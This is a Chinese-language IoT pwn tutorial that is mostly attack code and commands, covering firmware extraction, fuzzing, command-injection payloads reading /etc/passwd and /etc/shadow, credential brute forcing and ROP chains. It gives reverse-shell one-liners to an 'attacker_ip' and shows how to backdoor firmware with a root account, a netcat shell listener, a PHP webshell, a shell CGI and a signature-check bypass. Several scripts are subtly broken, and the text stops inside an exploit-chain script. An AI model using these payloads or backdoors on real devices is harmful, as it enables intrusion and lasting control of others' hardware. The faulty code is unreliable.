074_二进制安全高级技术：IoT设备Pwn深度解析与实战指南——从固件漏洞挖掘到远程攻击的系统教程

内存受限问题：
+------------------+
| 系统内核         |
+------------------+
| 系统库           |
+------------------+
| 应用程序         |
+------------------+
| 安全机制（精简） |
+------------------+
| 剩余空间         |
+------------------+

IoT设备硬件架构：
+-----------------------+
| 传感器/执行器         |
+-----------------------+
| 外设接口（GPIO/I2C等）|
+-----------------------+
| 内存（RAM/Flash）     |
+-----------------------+
| 中央处理器（CPU）     |
+-----------------------+
| 通信模块              |
+-----------------------+

# 使用wget下载官方固件示例
wget https://example.com/firmware/device_model_v1.2.3.bin -O device_firmware.bin

# 使用minicom通过UART连接设备
minicom -b 115200 -D /dev/ttyUSB0

# 在设备的命令行中可能可以直接读取固件
cat /dev/mtdblock0 > /tmp/firmware.bin
# 然后通过网络或USB将文件传输出来

# 使用OpenOCD通过JTAG读取Flash
openocd -f interface/ftdi/olimex-arm-usb-tiny-h.cfg -f target/at91sam9.cfg -c "init; flash read_bank 0 firmware.bin 0 0x1000000; exit"

# 使用flashrom读取SPI Flash芯片
flashrom -p ch341a_spi -r firmware.bin

# 在设备的shell中执行
cat /proc/kcore > /tmp/memory_dump.core
# 或使用dd命令
 dd if=/dev/mem of=/tmp/memory_dump.bin bs=1M count=32

# 安装binwalk
apt-get install binwalk

# 使用binwalk分析固件
binwalk firmware.bin

# 使用binwalk提取固件内容
binwalk -e firmware.bin

# 使用firmware-mod-kit解包固件
export FIRMWARE=firmware.bin
export WORKSPACE=./firmware_work
src/extract-firmware.sh

# 解压squashfs文件系统
unsquashfs filesystem.squashfs

# ARM架构交叉编译示例
export CC=arm-linux-gnueabi-gcc
export CXX=arm-linux-gnueabi-g++
$CC -o exploit exploit.c

# MIPS架构交叉编译示例
export CC=mips-linux-gnu-gcc
$CC -o exploit exploit.c

# 启动GDB服务器
gdbserver :1234 ./vulnerable_app

# 在主机上使用交叉GDB连接
arm-linux-gnueabi-gdb ./vulnerable_app
(gdb) target remote 192.168.1.10:1234

# 模拟ARM架构的固件
qemu-system-arm -M versatilepb -kernel zImage -initrd rootfs.cpio.gz -append "root=/dev/ram rdinit=/sbin/init"

# 使用用户模式模拟单个程序
qemu-arm ./binary_file

# 使用Firmadyne分析固件
sudo ./sources/extractor/extractor.py -b 路由器品牌 -sql 127.0.0.1 -np -nk -r 1 -f firmware.bin images
./scripts/inferNetwork.sh 1
./scripts/makeImage.sh 1
./scripts/runImage.sh 1

$ binwalk firmware.bin

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             uImage header, header size: 64 bytes, header CRC: 0x8C579E1B, created: 2019-07-15 08:42:21, image size: 4683776 bytes, Data Address: 0x80000000, Entry Point: 0x80000000, data CRC: 0xE15E4E0E, OS: Linux, CPU: MIPS, image type: OS Kernel Image, compression type: lzma, image name: "Linux Kernel Image"
64            0x40            LZMA compressed data, properties: 0x5D, dictionary size: 65536 bytes, uncompressed size: 4096000 bytes
1048576       0x100000        Squashfs filesystem, little endian, version 4.0, compression:xz, size: 3631435 bytes, 484 inodes, blocksize: 131072 bytes, created: 2019-07-15 08:42:20

$ binwalk -e firmware.bin

$ cd _firmware.bin.extracted/100000.squashfs-root/
$ ls -la

total 68
drwxr-xr-x 13 user user 4096 Jul 15  2019 .
drwxr-xr-x  4 user user 4096 Jul 20 10:15 ..
drwxr-xr-x  2 user user 4096 Jul 15  2019 bin
drwxr-xr-x  4 user user 4096 Jul 15  2019 etc
drwxr-xr-x  2 user user 4096 Jul 15  2019 lib
drwxr-xr-x  2 user user 4096 Jul 15  2019 mnt
drwxr-xr-x  2 user user 4096 Jul 15  2019 opt
drwxr-xr-x  2 user user 4096 Jul 15  2019 proc
drwxr-xr-x  2 user user 4096 Jul 15  2019 sbin
drwxr-xr-x  2 user user 4096 Jul 15  2019 sys
drwxr-xr-x  3 user user 4096 Jul 15  2019 tmp
drwxr-xr-x 10 user user 4096 Jul 15  2019 usr
drwxr-xr-x  4 user user 4096 Jul 15  2019 var

# 检查默认密码
$ grep -r "password\|PASSWD\|secret" etc/

# 检查网络服务配置
$ grep -r "listen\|port\|bind" etc/

# 检查启动脚本中的异常命令
$ find etc/init.d/ -type f -exec grep -l "chmod\|chown\|exec\|system" {} \;

# 列出可执行文件
$ find bin/ sbin/ usr/bin/ usr/sbin/ -type f -exec file {} \; | grep "executable"

# 检查setuid文件
$ find . -perm -4000 -type f

# 创建网络接口
$ sudo brctl addbr br0
$ sudo ifconfig br0 192.168.0.1 netmask 255.255.255.0
$ sudo tunctl -t tap0
$ sudo ifconfig tap0 0.0.0.0 promisc
$ sudo brctl addif br0 tap0
$ sudo ifconfig tap0 up
$ sudo ifconfig br0 up

# 启动QEMU模拟
$ qemu-system-mips -M malta -kernel vmlinux-3.2.0-4-4kc-malta -hda hda.img -append "root=/dev/sda1 console=tty0" -net nic -net tap,ifname=tap0,script=no,downscript=no

# 安装Firmadyne
$ git clone https://github.com/firmadyne/firmadyne.git
$ cd firmadyne
$ ./download.sh

# 配置数据库
$ mysql -u root -p
mysql> create database firmadyne;
mysql> grant all privileges on firmadyne.* to 'firmadyne'@'localhost' identified by 'firmadyne';
mysql> flush privileges;
mysql> exit;

# 分析并模拟固件
$ sudo ./sources/extractor/extractor.py -b dlink -sql 127.0.0.1 -np -nk -r 1 -f firmware.bin images
$ ./scripts/inferNetwork.sh 1
$ ./scripts/makeImage.sh 1
$ ./scripts/runImage.sh 1

# 修改文件系统
$ cd _firmware.bin.extracted/100000.squashfs-root/
$ echo "echo 'Hello from modified firmware!' > /tmp/modified.txt" >> etc/rc.local

# 重新打包squashfs文件系统
$ mksquashfs _firmware.bin.extracted/100000.squashfs-root/ new_rootfs.squashfs -comp xz -b 131072

# 合并内核和新的文件系统
$ cat _firmware.bin.extracted/0x40 > kernel.bin
$ cat kernel.bin new_rootfs.squashfs > modified_firmware.bin

# 静态分析工具使用示例
strings firmware.bin | grep -i "password\|key\|secret"
objdump -d -M mips binary_file > assembly.txt
grep -r "system(" usr/bin/

# 使用tcpdump监控网络流量
sudo tcpdump -i br0 -w capture.pcap host 192.168.0.2

# 使用gdbserver调试程序
gdbserver :1234 ./vulnerable_app

# 在主机上连接gdb
target remote 192.168.0.2:1234

# 使用VMAF（Vulnerability Management for IoT Firmware）扫描
python vmaf.py --firmware firmware.bin

# 使用Firmwalker扫描
git clone https://github.com/craigz28/firmwalker.git
cd firmwalker
./firmwalker.sh /path/to/extracted/firmware

缓冲区溢出内存布局变化：

正常情况：
+-------------+
|  缓冲区     | [A...A]
+-------------+
|  返回地址   | [0x12345678]
+-------------+
|  其他数据   | [...]
+-------------+

溢出后：
+-------------+
|  缓冲区     | [A...A]
+-------------+
|  被覆盖的返回| [0x87654321] <- 攻击者控制的地址
+-------------+
|  其他数据   | [...]
+-------------+

# 使用grep在固件中查找不安全函数
grep -r "strcpy\|strcat\|gets\|sprintf\|memcpy" --include="*.c" --include="*.cpp" /path/to/extracted/source/

# 简单的模糊测试脚本示例
import socket
import sys

def fuzz(target, port, prefix, iterations):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    
    for i in range(1, iterations + 1):
        payload = prefix + "A" * (i * 100)
        
        try:
            sock.connect((target, port))
            sock.send(payload.encode())
            response = sock.recv(1024)
            print(f"Length {len(payload)}: Response received")
        except Exception as e:
            print(f"Length {len(payload)}: Crash detected - {e}")
            break
        finally:
            sock.close()
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

if __name__ == "__main__":
    if len(sys.argv) != 5:
        print("Usage: python fuzzer.py <target_ip> <port> <prefix> <iterations>")
        sys.exit(1)
    
    fuzz(sys.argv[1], int(sys.argv[2]), sys.argv[3], int(sys.argv[4]))

# 使用Flawfinder扫描C/C++代码
flawfinder --minlevel=3 /path/to/source/code/

# 使用RATS扫描代码
rats --warning 3 /path/to/source/code/

# 常见的命令注入测试payload
127.0.0.1; cat /etc/passwd
127.0.0.1 | ls -la
127.0.0.1 && netstat -an
127.0.0.1 || echo "test"
127.0.0.1 $(cat /etc/shadow)
127.0.0.1 `id`
127.0.0.1 > /tmp/test.txt
127.0.0.1 < /etc/hostname

# 使用Burp Suite的Intruder模块
# 使用sqlmap（虽然主要针对SQL注入，但也可以检测命令注入）
sqlmap -u "http://192.168.1.1/cgi-bin/ping.cgi?ip=127.0.0.1" --os-cmd=id --batch

# 使用OWASP ZAP的主动扫描功能

# 在固件中查找系统命令执行函数
grep -r "system(\|exec(\|popen(\|shell_exec(\|passthru(\|`" --include="*.c" --include="*.php" /path/to/extracted/

# 创建默认凭据字典
cat > default_creds.txt << EOF
admin:admin
admin:password
root:root
root:toor
admin:123456
EOF

# 使用hydra进行暴力破解
hydra -L default_creds.txt -P default_creds.txt http-get://192.168.1.1/login.cgi

# 在固件中搜索可能的密码字符串
strings firmware.bin | grep -E "password|passwd|secret|admin|root" | grep -v "_"

# 搜索base64编码的字符串（可能包含凭据）
strings firmware.bin | grep -E "[A-Za-z0-9+/]{20,}={0,2}" | xargs -I{} sh -c 'echo "{}" | base64 -d 2>/dev/null | grep -q . && echo "{} : $(echo "{}" | base64 -d 2>/dev/null)"'

# 使用curl测试认证绕过
curl -v "http://192.168.1.1/admin/config.cgi" -H "Authorization: Basic YWRtaW46YWRtaW4="  # admin:admin base64编码

# 测试Cookie操作
curl -v "http://192.168.1.1/admin/config.cgi" -b "admin=1; user=admin"

# 测试HTTP方法绕过
curl -v -X POST "http://192.168.1.1/admin/config.cgi"
curl -v -X PUT "http://192.168.1.1/admin/config.cgi"
curl -v -X OPTIONS "http://192.168.1.1/admin/config.cgi"

# 搜索可能的加密密钥
strings firmware.bin | grep -E "[A-F0-9]{32}|[A-F0-9]{40}|[A-F0-9]{64}"  # 可能的哈希或密钥

# 搜索加密算法名称
grep -r "DES\|AES\|RSA\|SHA\|MD5\|RC4\|Blowfish" --include="*.c" --include="*.h" /path/to/extracted/

# 查找硬编码的证书
find /path/to/extracted/ -name "*.pem" -o -name "*.key" -o -name "*.crt"

# 使用Wireshark捕获网络流量
sudo tcpdump -i eth0 -w capture.pcap host 192.168.1.1

# 使用testssl.sh测试SSL/TLS配置
testssl.sh 192.168.1.1:443

# 使用SSLyze分析SSL/TLS配置
sslyze 192.168.1.1:443

# 在代码中搜索随机数生成相关函数
grep -r "rand\|random\|srand\|arc4random\|getrandom" --include="*.c" /path/to/extracted/

# 使用dirb进行目录枚举
dirb http://192.168.1.1/ /usr/share/dirb/wordlists/common.txt

# 使用wfuzz进行模糊测试
wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt --hc 404 http://192.168.1.1/FUZZ

# 发送异常请求，查看详细错误信息
curl -v "http://192.168.1.1/cgi-bin/unknown.cgi"
curl -v "http://192.168.1.1/index.html?param=../../etc/passwd"

# 查找配置文件
find /path/to/extracted/ -name "*.conf" -o -name "*.ini" -o -name "*.xml" -o -name "*.json"

# 查找日志文件和调试信息
find /path/to/extracted/ -name "*.log" -o -name "debug*"

# 扫描蓝牙设备
hcitool lescan

# 使用gatttool连接并探索设备
gatttool -b XX:XX:XX:XX:XX:XX -I
connect
primary
characteristics

# 使用aircrack-ng测试WEP/WPA
airodump-ng wlan0
# 捕获足够的IV后尝试破解
aircrack-ng -w /usr/share/wordlists/rockyou.txt capture-01.cap

# 测试WPS漏洞
wash -i wlan0
reaver -i wlan0 -b XX:XX:XX:XX:XX:XX -vv

# 使用GNU Radio和rtl-sdr捕获信号
# 安装相关工具
apt-get install gr-osmosdr rtl-sdr

# 使用rtl_fm接收信号
rtl_fm -f 433.92M -M fm -s 250000 -r 48000 -l 0 -g 50 -p 0 | aplay -r 48000 -f S16_LE

# 安装AFL
apt-get install afl

# 编译目标程序（使用AFL的编译器包装器）
export CC=afl-gcc
export CXX=afl-g++
./configure
make

# 运行模糊测试
afl-fuzz -i input_dir -o output_dir ./target_program @@

# 使用Boofuzz进行网络模糊测试
from boofuzz import *

def main():
    session = Session(
        target=Target(
            connection=TCPSocketConnection("192.168.1.1", 23)
        )
    )
    
    s_initialize(name="user_cmd")
    s_string("USER ")
    s_string("admin")
    s_delim("\r\n")
    s_string("PASS ")
    s_string("password")
    s_delim("\r\n")
    
    session.connect(s_get("user_cmd"))
    session.fuzz()

if __name__ == "__main__":
    main()

高地址
+---------------------+
| 内核空间           |
+---------------------+
| 动态加载库         |
+---------------------+
| 栈（向下增长）     |
+---------------------+
| 堆（向上增长）     |
+---------------------+
| 数据段             |
+---------------------+
| 代码段             |
低地址                +---------------------+

# 在MIPS二进制文件中寻找ROP小工具
ROPgadget --binary target_mips_binary --only 'j|jr'

# 常见的MIPS ROP链示例
# 1. 系统调用准备
# 2. 设置参数
# 3. 调用系统调用

高地址
+---------------------+
| 内核空间           |
+---------------------+
| 共享库区域         |
+---------------------+
| 栈（向下增长）     |
+---------------------+
| 堆（向上增长）     |
+---------------------+
| 数据段             |
+---------------------+
| 代码段             |
低地址                +---------------------+

# 在ARM二进制文件中寻找ROP小工具
ROPgadget --binary target_arm_binary --only 'pop|bx'

# 常见的ARM ROP链示例
# 1. pop {r0-r3} gadget (用于设置系统调用参数)
# 2. pop {r7} gadget (用于设置系统调用号)
# 3. svc 0 gadget (触发系统调用)

高地址
+---------------------+
| 内核空间           |
+---------------------+
| 共享库区域         |
+---------------------+
| 栈（向下增长）     |
+---------------------+
| 堆（向上增长）     |
+---------------------+
| 数据段             |
+---------------------+
| 代码段             |
低地址                +---------------------+

# 在x86二进制文件中寻找ROP小工具
ROPgadget --binary target_x86_binary --only 'pop|ret'

# 常见的x86 ROP链示例
# 1. pop eax; ret (设置系统调用号)
# 2. pop ebx; ret (设置第一个参数)
# 3. int 0x80 (触发系统调用)

# 确定MIPS架构下的缓冲区溢出点
#!/usr/bin/env python
import sys
import socket

def main():
    if len(sys.argv) != 3:
        print("Usage: %s <target> <port>" % sys.argv[0])
        sys.exit(1)
    
    target = sys.argv[1]
    port = int(sys.argv[2])
    
    # 生成递增长度的缓冲区，找到崩溃点
    for i in range(1, 100):
        payload = "A" * (i * 100)
        
        try:
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.connect((target, port))
            sock.send(payload)
            sock.recv(1024)
            print("Length %d: No crash" % len(payload))
        except Exception as e:
            print("Length %d: Crash detected - %s" % (len(payload), str(e)))
            print("Possible buffer size around: %d bytes" % (len(payload) - 100))
            break
        finally:
            sock.close()

if __name__ == "__main__":
    main()

# MIPS架构ROP链构造示例
#!/usr/bin/env python

# 假设我们已经知道以下信息：
# 1. 缓冲区大小为1000字节
# 2. 溢出后，我们可以控制返回地址
# 3. 我们已经找到以下ROP gadgets

# 示例地址（实际情况需要从目标二进制文件中提取）
pop_ra = 0x00400aa0  # pop ra; jr ra
pop_a0 = 0x00400ab0  # pop a0; jr ra
system_plt = 0x004008c0  # system()在PLT表中的地址

# 构建ROP链
buffer_size = 1000
payload = "A" * buffer_size
payload += pack("I", pop_a0)     # 弹出a0寄存器的值
payload += pack("I", shell_str)  # shell字符串的地址
shell_str = "/bin/sh;"  # 实际情况需要找到可写入区域并写入shell字符串
payload += pack("I", system_plt)  # 调用system函数

# 发送payload
# ...

# 确定ARM架构下的缓冲区溢出点
#!/usr/bin/env python
import sys
import socket

def main():
    if len(sys.argv) != 3:
        print("Usage: %s <target> <port>" % sys.argv[0])
        sys.exit(1)
    
    target = sys.argv[1]
    port = int(sys.argv[2])
    
    # 生成递增长度的缓冲区，找到崩溃点
    padding = "A" * 200  # 初始填充
    offset = 0
    
    while True:
        payload = padding + "B" * offset
        
        try:
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.connect((target, port))
            sock.send(payload)
            response = sock.recv(1024)
            print("Length %d: No crash" % len(payload))
            offset += 4  # 增加4字节（ARM寄存器大小）
            if offset > 500:  # 防止无限循环
                break
        except Exception as e:
            print("Possible overflow at offset: %d" % offset)
            break
        finally:
            sock.close()

if __name__ == "__main__":
    main()

# ARM架构ROP链构造示例
#!/usr/bin/env python
import struct

def p32(x):
    return struct.pack('<I', x)

# 假设我们已经知道以下信息：
# 1. 缓冲区大小为200字节
# 2. 溢出后，我们可以控制返回地址
# 3. 我们已经找到以下ROP gadgets

# 示例地址（实际情况需要从目标二进制文件中提取）
pop_r0 = 0x0001050c      # pop {r0}; bx lr
pop_r7_ret = 0x00010510  # pop {r7}; bx lr
svc_0 = 0x00010514       # svc #0; bx lr
sh_str_addr = 0x00020800 # "/bin/sh"字符串地址

# 构建ROP链
buffer_size = 200
payload = "A" * buffer_size       # 填充缓冲区
payload += p32(pop_r0)           # 弹出r0寄存器的值
payload += p32(sh_str_addr)      # 设置r0为shell字符串地址
payload += p32(pop_r7_ret)       # 弹出r7寄存器的值
payload += p32(0xb)              # 设置r7为execve系统调用号(11)
payload += p32(svc_0)            # 触发系统调用

# 发送payload
# ...

# 信息泄露漏洞利用示例（用于绕过ASLR）
#!/usr/bin/env python
import socket
import struct

def p32(x):
    return struct.pack('<I', x)

def u32(x):
    return struct.unpack('<I', x)[0]

# 连接到目标服务器
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(("192.168.1.1", 23))

# 1. 触发信息泄露漏洞获取地址信息
leak_payload = "LEAK\x00"  # 假设这会触发信息泄露
sock.send(leak_payload)
leak_data = sock.recv(1024)

# 2. 解析泄露的数据，提取system()函数地址（示例）
system_addr = u32(leak_data[8:12])  # 假设system地址在第8-12字节

# 3. 构建ROP链，使用泄露的地址
overflow_payload = "A" * 1000  # 假设缓冲区大小为1000字节
overflow_payload += p32(system_addr)  # 覆盖返回地址为system函数
overflow_payload += "BBBB"  # 填充system的返回地址
overflow_payload += p32(string_addr)  # "/bin/sh"字符串地址

# 4. 发送payload获取shell
sock.send(overflow_payload)

# 5. 交互式shell
sock.interactive()
sock.close()

# 使用ROP绕过DEP示例
#!/usr/bin/env python
import struct

def p32(x):
    return struct.pack('<I', x)

# 假设我们已经找到以下ROP gadgets：
pop_eax = 0x08048a90  # pop eax; ret
pop_ebx = 0x08048a92  # pop ebx; ret
pop_ecx = 0x08048a94  # pop ecx; ret
pop_edx = 0x08048a96  # pop edx; ret
int_0x80 = 0x08048a98  # int 0x80; ret
mprotect_plt = 0x08048470  # mprotect()在PLT表中的地址

# 构建ROP链，使内存区域可执行
buffer_size = 512
payload = "A" * buffer_size

# mprotect(栈地址, 大小, PROT_READ|PROT_WRITE|PROT_EXEC)
payload += p32(mprotect_plt)      # 调用mprotect
payload += p32(pop_eax)           # 返回地址：pop eax; ret
payload += p32(stack_addr)        # 参数1：栈地址（需要提前泄露或计算）
payload += p32(pop_ebx)           # 跳过ret
payload += p32(0x1000)            # 参数2：大小
payload += p32(pop_ecx)           # 跳过ret
payload += p32(7)                 # 参数3：PROT_READ|PROT_WRITE|PROT_EXEC
payload += p32(int_0x80)          # 触发系统调用

# 跳转到shellcode
payload += p32(stack_addr + 0x100)  # shellcode地址
payload += "\x90" * 16              # NOP sled
payload += shellcode                # 实际的shellcode

# 发送payload
# ...

# Web界面命令注入测试脚本
#!/usr/bin/env python
import requests
import sys

def test_command_injection(target, param_name, base_command="127.0.0.1"):
    # 常见的命令分隔符和注入测试
    payloads = [
        "; cat /etc/passwd",
        "| ls -la",
        "&& netstat -an",
        "|| echo test",
        "; id",
        "`id`",
        "$(id)",
    ]
    
    results = []
    
    for payload in payloads:
        test_command = base_command + payload
        params = {param_name: test_command}
        
        try:
            response = requests.get(target, params=params, timeout=5)
            
            # 检查响应中是否有命令执行的迹象
            if "root:" in response.text or "uid=" in response.text or "total" in response.text:
                results.append({
                    "payload": payload,
                    "success": True,
                    "evidence": "Possible command injection detected"
                })
                print(f"[+] Vulnerable to: {payload}")
                print(f"Response snippets:\n{response.text[:500]}\n...\n")
            else:
                results.append({
                    "payload": payload,
                    "success": False
                })
                print(f"[-] Not vulnerable to: {payload}")
        except Exception as e:
            print(f"[!] Error testing payload {payload}: {str(e)}")
    
    return results

if __name__ == "__main__":
    if len(sys.argv) != 3:
        print("Usage: python web_cmd_inject.py <target_url> <param_name>")
        sys.exit(1)
    
    target_url = sys.argv[1]
    param_name = sys.argv[2]
    
    print(f"Testing for command injection at {target_url}")
    print(f"Parameter: {param_name}")
    print("=" * 60)
    
    test_command_injection(target_url, param_name)

# 常见的反向Shell命令，根据设备类型选择合适的版本

# Bash反向Shell (如果设备支持bash)
127.0.0.1; bash -i >& /dev/tcp/attacker_ip/4444 0>&1

# Netcat反向Shell (如果设备有nc)
127.0.0.1; nc -e /bin/sh attacker_ip 4444

# 使用Python反向Shell (如果设备有Python)
127.0.0.1; python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("attacker_ip",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

# 使用Perl反向Shell (如果设备有Perl)
127.0.0.1; perl -e 'use Socket;$i="attacker_ip";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

# 网络服务命令注入测试脚本
#!/usr/bin/env python
import socket
import sys

def test_service_command_injection(target, port, prefix="", payloads=None):
    if payloads is None:
        payloads = [
            "127.0.0.1; cat /etc/passwd",
            "127.0.0.1|ls -la",
            "127.0.0.1&&netstat -an",
            "127.0.0.1||echo test",
            "127.0.0.1;id",
        ]
    
    results = []
    
    for payload in payloads:
        try:
            # 连接到目标服务
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.connect((target, port))
            
            # 接收欢迎信息（如果有）
            welcome = sock.recv(1024)
            print(f"Welcome message: {welcome}")
            
            # 发送payload
            sock.send((prefix + payload).encode() + b"\r\n")
            
            # 接收响应
            response = sock.recv(4096)
            print(f"\nTesting payload: {payload}")
            print(f"Response:\n{response.decode('utf-8', errors='ignore')}")
            
            # 检查响应中是否有命令执行的迹象
            if b"root:" in response or b"uid=" in response or b"total" in response:
                print("[+] Possible command injection detected!")
                results.append({
                    "payload": payload,
                    "success": True,
                    "response": response.decode('utf-8', errors='ignore')
                })
            else:
                print("[-] No clear signs of command execution")
                results.append({
                    "payload": payload,
                    "success": False
                })
        except Exception as e:
            print(f"[!] Error testing payload {payload}: {str(e)}")
        finally:
            sock.close()
    
    return results

if __name__ == "__main__":
    if len(sys.argv) < 3:
        print("Usage: python service_cmd_inject.py <target_ip> <port> [prefix]")
        sys.exit(1)
    
    target_ip = sys.argv[1]
    port = int(sys.argv[2])
    prefix = sys.argv[3] if len(sys.argv) > 3 else ""
    
    print(f"Testing for command injection on {target_ip}:{port}")
    print(f"Command prefix: '{prefix}'")
    print("=" * 60)
    
    test_service_command_injection(target_ip, port, prefix)

# 默认凭据测试脚本
#!/usr/bin/env python
import requests
import sys
from concurrent.futures import ThreadPoolExecutor

def try_credentials(target, username, password):
    # 尝试HTTP基本认证
    try:
        response = requests.get(target, auth=(username, password), timeout=5)
        if response.status_code != 401:
            print(f"[+] Successful login with {username}:{password}")
            print(f"    Status code: {response.status_code}")
            return True
    except Exception as e:
        print(f"[!] Error trying {username}:{password}: {str(e)}")
    
    # 尝试表单认证（常见模式）
    try:
        # 常见的登录表单参数
        payload = {
            'username': username,
            'password': password,
            'login': 'Login',
            'submit': 'Submit',
            'btnSubmit': 'Login'
        }
        response = requests.post(target, data=payload, allow_redirects=False, timeout=5)
        
        # 检查成功登录的迹象
        if response.status_code == 302 or 
           "login_success" in response.text.lower() or 
           "welcome" in response.text.lower() or 
           "dashboard" in response.text.lower():
            print(f"[+] Successful form login with {username}:{password}")
            print(f"    Status code: {response.status_code}")
            return True
    except Exception as e:
        pass
    
    return False

def main():
    if len(sys.argv) != 3:
        print("Usage: python default_creds.py <target_url> <creds_file>")
        sys.exit(1)
    
    target_url = sys.argv[1]
    creds_file = sys.argv[2]
    
    print(f"Testing default credentials against {target_url}")
    print(f"Using credential list: {creds_file}")
    print("=" * 60)
    
    # 读取凭据列表
    credentials = []
    try:
        with open(creds_file, 'r') as f:
            for line in f:
                if ':' in line:
                    username, password = line.strip().split(':', 1)
                    credentials.append((username, password))
    except Exception as e:
        print(f"Error reading credentials file: {str(e)}")
        sys.exit(1)
    
    # 使用线程池进行并发测试
    with ThreadPoolExecutor(max_workers=10) as executor:
        results = list(executor.map(lambda cred: try_credentials(target_url, cred[0], cred[1]), credentials))
    
    # 统计结果
    success_count = sum(results)
    print(f"\nCompleted testing {len(credentials)} credential pairs")
    print(f"Successful logins: {success_count}")

if __name__ == "__main__":
    main()

# 会话固定攻击测试脚本
#!/usr/bin/env python
import requests
import sys

def test_session_fixation(target, login_path, session_param="PHPSESSID"):
    # 1. 创建一个新的会话
    session = requests.Session()
    response = session.get(target)
    
    # 获取会话ID
    if session_param in session.cookies:
        original_session_id = session.cookies[session_param]
        print(f"Original session ID: {original_session_id}")
    else:
        print(f"Session parameter {session_param} not found in cookies")
        print("Available cookies:", dict(session.cookies))
        return False
    
    # 2. 尝试在登录后重用相同的会话ID
    login_url = target + login_path if not login_path.startswith("/") else target[:-1] + login_path
    
    # 准备登录数据（需要根据实际网站调整）
    login_data = {
        'username': 'admin',  # 假设的用户名
        'password': 'admin',  # 假设的密码
    }
    
    # 保存原始会话ID
    session_id_value = original_session_id
    
    # 发送登录请求，但强制使用相同的会话ID
    cookies = {session_param: session_id_value}
    response = requests.post(login_url, data=login_data, cookies=cookies, allow_redirects=True)
    
    # 3. 检查是否仍然使用相同的会话ID
    if session_param in response.cookies and response.cookies[session_param] == session_id_value:
        print(f"[+] Session Fixation vulnerability found!")
        print(f"    Session ID {session_id_value} remains valid after login")
        
        # 4. 尝试访问受保护的页面
        protected_url = target + "/admin" if not target.endswith("/") else target + "admin"
        protected_response = requests.get(protected_url, cookies=cookies)
        
        if protected_response.status_code == 200:
            print(f"[+] Protected page accessible with fixed session ID")
            return True
        else:
            print(f"[-] Protected page not accessible, but session ID remained the same")
            return True  # 仍然是漏洞，因为会话ID未更改
    else:
        print("[-] Session ID changed after login, not vulnerable to session fixation")
        return False

def main():
    if len(sys.argv) < 3:
        print("Usage: python session_fixation.py <target_url> <login_path> [session_param]")
        print("Example: python session_fixation.py http://192.168.1.1 /login PHPSESSID")
        sys.exit(1)
    
    target_url = sys.argv[1]
    login_path = sys.argv[2]
    session_param = sys.argv[3] if len(sys.argv) > 3 else "PHPSESSID"
    
    print(f"Testing for session fixation on {target_url}")
    print(f"Login path: {login_path}")
    print(f"Session parameter: {session_param}")
    print("=" * 60)
    
    test_session_fixation(target_url, login_path, session_param)

if __name__ == "__main__":
    main()

# 1. 解包固件
mkdir -p firmware_extracted
cd firmware_extracted
binwalk -e ../firmware.bin

# 2. 寻找配置文件
find . -name "*.conf" -o -name "*.xml" -o -name "*.ini" -o -name "*.json"

# 3. 修改配置文件（例如，添加后门账户）
cat >> ./etc/passwd << EOF
backdoor:x:0:0:Backdoor User:/root:/bin/sh
EOF

# 修改shadow文件，设置密码（此处为简单示例，实际使用时应生成安全的哈希）
cat >> ./etc/shadow << EOF
backdoor:U6aMy0wojraho:14685:0:99999:7:::
EOF

# 4. 修改启动脚本，添加后门服务
cat >> ./etc/rc.local << EOF
# Start backdoor service
nc -l -p 1234 -e /bin/sh &
EOF
chmod +x ./etc/rc.local

# 5. 重新打包固件
cd ..
firmware-mod-kit/src/assemble_firmware.py -k kernel -r rootfs -o modified_firmware.bin

# 在Web目录中添加PHP后门
echo '<?php system($_GET["cmd"]); ?>' > ./www/cmd.php

# 或在CGI脚本中添加后门
cat > ./www/cgi-bin/backdoor.cgi << 'EOF'
#!/bin/sh
echo "Content-type: text/plain"
echo ""
/bin/sh -c "$QUERY_STRING"
EOF
chmod +x ./www/cgi-bin/backdoor.cgi

# 修改Web服务器配置，允许CGI执行（如果需要）
cat >> ./etc/httpd.conf << EOF
AddHandler cgi-script .cgi
Options +ExecCGI
EOF

# 在固件中查找签名验证函数
strings firmware_extracted/bin/httpd | grep -i "verify\|signature\|checksum"

# 使用IDA或Ghidra定位验证函数
# 修改二进制文件，使其总是返回成功

# 例如，找到验证函数的返回地址，将返回0（成功）的指令替换为返回非0值的指令
# 使用十六进制编辑器修改二进制文件
hexdump -C firmware_extracted/bin/httpd | grep -A 10 "verify_signature"
# 修改相应的字节

# 重新打包固件

# 1. 提取原始固件的签名部分
hexdump -C original_firmware.bin | tail -n 20  # 签名通常在固件末尾

# 2. 修改固件内容，但保留原始签名
# 假设签名在最后256字节
size=$(stat -c%s modified_unsigned_firmware.bin)
head -c $((size-256)) modified_unsigned_firmware.bin > firmware_body.bin
tail -c 256 original_firmware.bin > signature.bin
cat firmware_body.bin signature.bin > modified_firmware.bin

# IoT设备完整漏洞利用链示例
#!/usr/bin/env python
import socket
import struct
import sys

def p32(x):
    return struct.pack('<I', x)

def u32(x):
    return struct.unpack('<I', x)[0]

# 目标设备信息
target = "192.168.1.1"
port = 80

# 步骤1：信息泄露获取libc地址
print("[+] Step 1: Exploiting information disclosure vulnerability")
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((target, port))

# 发送信息泄露payload
leak_payload = "GET /info?debug=1 HTTP/1.1\r\nHost: " + target + "\r\n\r\n"
sock.send(leak_payload.encode())
response = sock.recv(4096)
sock.close()

# 解析泄露的信息
if b"libc_base: " in response:
    leak_data = response.split(b"libc_base: ")[1].split(b"\n")[0]
    libc_base = int(leak_data, 16)
    print(f"[+] Leaked libc base address: 0x{libc_base:x}")
else:
    print("[-] Failed to leak libc base address")
    sys.exit(1)

# 计算system和/bin/sh地址（假设偏移量已知）
